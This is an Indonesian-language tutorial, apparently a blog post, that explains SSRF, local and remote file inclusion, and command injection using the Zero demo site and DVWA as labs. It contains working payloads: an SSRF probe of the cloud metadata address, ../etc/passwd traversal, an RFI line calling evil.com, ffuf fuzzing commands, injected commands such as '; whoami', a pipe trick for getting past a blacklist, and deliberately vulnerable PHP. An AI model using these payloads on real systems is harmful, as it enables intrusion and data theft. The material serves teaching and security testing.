Artikel ini membahas kerentanan web SSRF, File Inclusion, dan Command Injection lengkap dengan contoh serangan sederhana dan cara memahami dampaknya.

Server Side Request Forgery

Server-Side Request Forgery (SSRF) adalah kerentanan keamanan web dimana penyerang dapat memanipulasi server untuk membuat permintaan HTTP ke lokasi yang dipilih oleh penyerang, baik ke server internal maupun eksternal.

Intinya ini adalah request yang dikirimkan dari sisi server

Contoh: Akses sebuah web dan kita lihat ada file-file yang di load seperti gambar ada file font, data-data, kebutuhan-kebutuhan dari web itu yang di fetch dari url diluar, dalam kondisi yang normal, request-request itu dilakukan oleh user seperti contoh jika kita ingin menginstall suatu file maka kita (user) pergi ke halaman untuk peng-installan. Sebaliknya Kerentanan SSRF ini adalah kita bisa minta si server yang melakukannya, jadi request berasal dari web servernya.

Dampak:

• Accessing Internal network : kemungkinan bisa akses domain, ip di web tersebut
• Sensitive Data Exfiltration
• Bypassing Firewall / ACL
• Reveal IP Adress Behind Firewall/Cloudflare
• Internal Port Scanning

Kita akan mengacu pada gambar di atas.

Dari sisi attacker, misalnya kita mengakses:

xyz.com/id?content=http://10.0.0.1/administrator

Server berwarna ungu pada gambar adalah web server yang berada di jaringan intranet. Web server ini memang bisa diakses dari luar (internet), tetapi ia juga memiliki akses ke IP internal.

Di dalam jaringan intranet, terdapat server lain khusus untuk administrator dengan alamat 10.0.0.1. Server administrator ini hanya memiliki IP lokal dan tidak memiliki IP publik, sehingga attacker tidak bisa langsung mengaksesnya dari luar.

Yang bisa diakses oleh attacker hanyalah web server di DMZ (Demilitarized Zone). Walaupun posisinya di intranet, web server ini tetap terbuka untuk internet.

Kerentanannya muncul karena web server memiliki fitur get content, misalnya:

content=http://10.0.0.1/administrator

Seharusnya parameter content ini hanya digunakan untuk memuat gambar, URL tertentu, atau file valid lainnya. Namun, attacker memanipulasi nilai tersebut agar web server justru mengakses alamat internal, yaitu server administrator.

Dengan begitu, request ke 10.0.0.1 bukan lagi dilakukan langsung oleh attacker (yang tidak bisa menjangkau IP lokal), tetapi oleh web server itu sendiri. Web server kemudian mengambil data dari server administrator, memprosesnya, lalu menampilkan hasilnya kembali ke attacker.

Kalau di gambar kita sudah tahu alamat internal adalah 10.0.0.1. Namun jika belum tahu, attacker bisa melakukan fuzzing terlebih dahulu untuk menemukan IP internal tersebut.

Case 1: Mengakses url di internet (Cek IP server)

Gambaran kerentanan di web percobaan

Muncul pertanyaan, jika di percobaan di atas kira-kira yang membuat request apakah dari si user yang mengisi input atau dari sisi web server? nah untuk mengetahui jawabannya kita bisa dengan mengecek ip kita. Dengan cara mengakses situs cek ip di ipinfo.io/json . Lihat ip yang keluar apa, dan itulah ip yang kita atau sisi user, sekarang kita pastekan situs tersebut dan masukkan kedalam web percobaan dan lihat:

Hasil ipnya berbeda dengan ip kita. Itu pertanda bahwa request terjadi di sisi web server bukan oleh kita sebagai user.

Case 2: Mengakses file sensitif pada server

Jika situs sudah rentan serangan SSRF maka serangan ini juga bisa membuat penyerang mengetahui ada file apa saja termasuk hostname tergantung web target tersebut.

Case 3: Mengakses server metadata (khusus cloud)

Misalkan terdapat situs target yang dilakukan fuzzing lalu terlihatlah list file ada yang 403, 200 tergantung targetnya. Semisal internal statusnya 403, kita coba di broser untuk akses /internal maka akan forbidden. tapi jika kita coba di web target tersebut atau di internal dimana web tersebut memiliki file internal maka kita bisa melihatnya (tidak forbidden).

Uji coba

di situs Zero — Personal Banking — Loans — Credit Cards ini kita akan lakukan serangan ssrf.

1. Coba fitur-fitur yang ada: feedback, faq, untuk mencari parameter-parameter yang memungkinkan kita mengisinya dengan url. Contoh

saya coba lakukan seperti dibawah dan hasilnya tidak menampilkan google, berarti tidak bisa dilakukan di parameter tersebut

lanjut kita cari di fitur lain, dan coba untuk login juga agar melihat fitur tambahan

Kita bisa melihat banyak sekali menu-menu yang menarik disini untuk kita coba 😁

Coba masuk ke menu settings → options → dan pilih salah satu topics, maka kita akan lihat

Terdapat parameter menarik bukan?

zero.webappsecurity.com / help.html?topic=/help/topic1.html

kita coba masukkan urlnya seperti ini http://zero.webappsecurity.com/help.html?topic=https://google.com dan apa yang terjadi. BOM!

Berubah 😐 halamannya sekarang menload halaman google.

GAS langsung kita isi dengan http://ipinfo.io/json atau menjadi http://zero.webappsecurity.com/help.html?topic=http://ipinfo.io/json

kita bisa liat ip nya, hostnamenya terdapat ec2, jika ec2 berarti dia memakai AWS. Kita bisa lanjutkan lagi proses ini dengan mendapatkan meta-datanya, jika dia menggunakan AWS maka bisa langsung menggunakan ini: http://169.254.169.254/latest/meta-data/ namun sayangkan pada target situs uji coba ini tidak bisa. Karna mungkin sudah di whitelist.

File Inclusion

File inclusion adalah celah keamanan pada aplikasi web yang muncul ketika aplikasi memasukkan (include) file secara dinamis tanpa melakukan validasi input dengan benar. Akibatnya, penyerang bisa memanfaatkan kelemahan ini untuk membaca atau mengakses file sensitif di server.

Ada dua jenis utama file inclusion:

1. Local File Inclusion (LFI) → Memungkinkan akses ke file yang berada di dalam server itu sendiri
2. Remote File Inclusion (RFI) → Memungkinkan akses ke file yang berasal dari luar server, misalnya dari internet.

#Normal
http://target.com/index.php?page=about.php

#LFI
http://target.com/index.php?page=../../../../etc/passwd

#RFI
http://target.com/index.php?file=http://evil.com/malicious.php

Terdapat kemiripan dengan SSRF, tetapi SSRF itu lebih seperti jenis remote/RFI, http://target.com/index.php?file=http://evil.com/malicious.php bisa dilihat dia membaca file yang ada diluar. Tapi untuk perbedaan mendasarnya SSRF berfungsi sebagai proxy, jadi si web servernya itu sebagai proxy dan untuk file inclusion kita menginputkan/ menginclude kan sebuah file untuk diload atau dijalankan didalam server.

Sekarang mari kita cari tahu lebih dalam dari web DVWA, disana terdapat ujicoba serangan file inclusion

Masuk ke menu file inclusion kita bisa langsung coba masukkan /etc/passwd di parameter page=

output di atas sudah cukup untuk membuktikan bahwa website tersebut rentan file inclusion, jika kita penasaran "ada file apa lagi yaaa?🤔R&quo; kita bisa menggunakan ffuf untuk fuzzing dan dengan menggunakan wordlist untuk proses fuzzing disini SecLists/Fuzzing/LFI at master · danielmiessler/SecLists tinggal pilih saja mana yang ingin kita gunakan.

Untuk caranya pertama wget file wordlist tersebut

wget https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

#lalu jalankan

ffuf -u "http://localhost:8080/vulnerabilities/fi/?page=FUZZ" --cookie="security=low; PHPSESSID=je9e3tjpnmumdaob1ail6751t5; security=low" -w LFI-Jhaddix.txt

#enter, jika diperhatikan statusnya 200 ok tapi sizenya semua 3244, maka kita filter dengan melakukan

ffuf -u "http://localhost:8080/vulnerabilities/fi/?page=FUZZ" --cookie="security=low; PHPSESSID=je9e3tjpnmumdaob1ail6751t5; security=low" -w LFI-Jhaddix.txt -fs 3244

Setelah dijalankan kita bisa melihat bahwa sizenya sudah berbeda satu sama lain sehingga bisa dipastikan filenya valid. Lanjutkan untuk memilih direktori filenya, disini saya memilih /etc/apache2/apache2.conf. Langsung kita coba di dvwa dan …

Muncul pertanyaan: "Kalau pakai GET method kan parameter terlihat jelas di URL, kalau POST bagaimana cara mendeteksinya?" 🤔

Jawabannya: Prinsipnya tetap sama, hanya saja untuk POST parameter tidak terlihat langsung di URL, tapi dikirim lewat body request. Karena itu, saat melakukan testing/pentesting, kita harus memperhatikan parameter apa saja yang dikirim.

Oleh sebab itu, setiap kali melakukan pengujian di web, pastikan semua trafik sudah diarahkan melalui proxy (misalnya Caido atau Burp Suite). Dengan begitu, kita bisa melihat seluruh request yang terjadi di belakang layar, termasuk request yang tidak tampil langsung ke user.

Contoh gambar di atas itu menggunakan POST bisa terlihat parameter apa saja. Jadi dapat disimpulkan, prinsipnya sama saja: kita tetap menguji input dengan cara memasukkan URL, alamat, atau nama sesuai parameter yang ada di body request.

Command Injection

Command Injection adalah kerentanan keamanan di mana penyerang dapat mengeksekusi perintah sistem (OS command) pada server yang menjalankan aplikasi. Kerentanan ini terjadi ketika aplikasi secara dinamis menjalankan perintah sistem operasi dengan menggunakan input dari pengguna, tetapi input tersebut tidak di-filter atau divalidasi dengan benar.

Dampak: Attacker dapat menjalankan command pada server.

# Contoh pada fungsi PING Target, dimana inputnya merupakan alamat target.
https://google.com

# Untuk menambahkan command, kita bisa menggunakan titik koma (;)
https://google.com; whoami; ip a

# Alternatif ; bisa menggunakan | atau &&

Disini kita akan melakukan uji coba di web DVWA kembali.

Disini kita cuman diminta untuk memasukkan alamat IP nya saja. Disini saya akan mencoba memasukkan ip google.com yaitu 8.8.8.8, outputnya

Sebagaimana yang kita tahu untuk melakukan ping di cmd misalnya, kita hanya cuman mengetik "ping ip/nama domain" lalu akan di replay. Jadi dalam command defaultnya apapun yang kita ketik dia akan coba untuk ping.

Ketika kita menginputkan seperti tadi, maka yang terjadi di backend adalah dia akan mengambil apa yang diinputkan. Mari kita lihat kodingan di dvwa untuk menu file injection

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Perhatikan kode shell_exec, pada kode tersebut kita tau bahwa shell_exec sendiri adalah fungsi untuk menjalankan perintah sistem operasi (command shell/terminal) langsung dari kode PHP. Lalu bagaimana untuk melakukan command injection dimana kita men-injeksikan command ke input?. Gimana caranya agar command kita bisa tereksekusi juga? walaupun defaultnya dia cuman mengambil angka kemudian kita ping. Solusinya adalah kita bisa menggunakan pemisah, jadi dalam satu line/baris kita gunakan titik koma (;) seperti ini

8.8.8.8 -c 2;whoami

Kita bisa lihat, yang ping itu selesainya sampai kata "loss" dan yang whoami paling bawahnya yaitu www-data, dimana www-data adalah akun kita. Kita coba lagi dengan tambahan command

8.8.8.8; whoami; hostname;

MANTAP

Sekarang kita coba ubah level dvwa menjadi medium, dan lihat bagaimana kodenya

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Terlihat bahwa kode tersebut telah mem-blacklist input tertentu, yaitu && dan ; (titik koma). Pada kode tersebut kita masih bisa melakukan injection dengan menggunakan pipeline ( | ).